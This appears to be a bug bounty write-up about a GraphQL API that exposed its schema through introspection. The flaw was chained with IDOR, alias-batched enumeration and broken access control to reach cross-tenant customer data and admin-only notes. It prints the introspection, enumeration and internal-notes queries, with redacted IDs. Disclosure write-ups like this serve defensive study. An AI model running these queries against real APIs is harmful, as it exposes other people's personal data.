⟫ Disclosure Timeline
⟫ Reconnaissance
Intercepted API traffic via Burp Suite. Identified a single /graphql endpoint handling all data queries. Tested for introspection availability.
⟫ Vulnerability Discovery
GraphQL introspection was enabled in production, exposing the full schema including hidden admin-only queries and mutations.
⟫ GraphQL Resolver Mapping
⟫ Payload Analysis
All payloads below are sanitized proof-of-concept examples. No active exploitation code is shown.
query IntrospectionQuery {
__schema {
queryType { name }
types {
name
fields { name type { name } }
}
}
} query {
customer(id: "CUST-REDACTED-001") {
id
email
plan
}
} query {
customer(id: "CUST-REDACTED-099") {
id
email
plan
}
} query {
a1: customer(id: "CUST-REDACTED-001") { id email }
a2: customer(id: "CUST-REDACTED-002") { id email }
a3: customer(id: "CUST-REDACTED-003") { id email }
a4: customer(id: "CUST-REDACTED-004") { id email }
} query {
internalNotes(ticketId: "TKT-REDACTED") {
content
author
createdAt
}
} ⟫ Chaining Strategy & Escalation
Combined introspection exposure + IDOR + alias batching + broken access control into a chain that allowed: (1) mapping the entire API surface, (2) accessing any customer's data cross-tenant, (3) bulk enumeration via batched queries, (4) reading admin-only internal notes and audit logs.
⟫ Impact Assessment
This case study follows responsible disclosure practices. All sensitive data including endpoints, credentials, customer information, and active exploitation payloads have been redacted or sanitized. The vulnerability was reported through the official bug bounty program and has been resolved.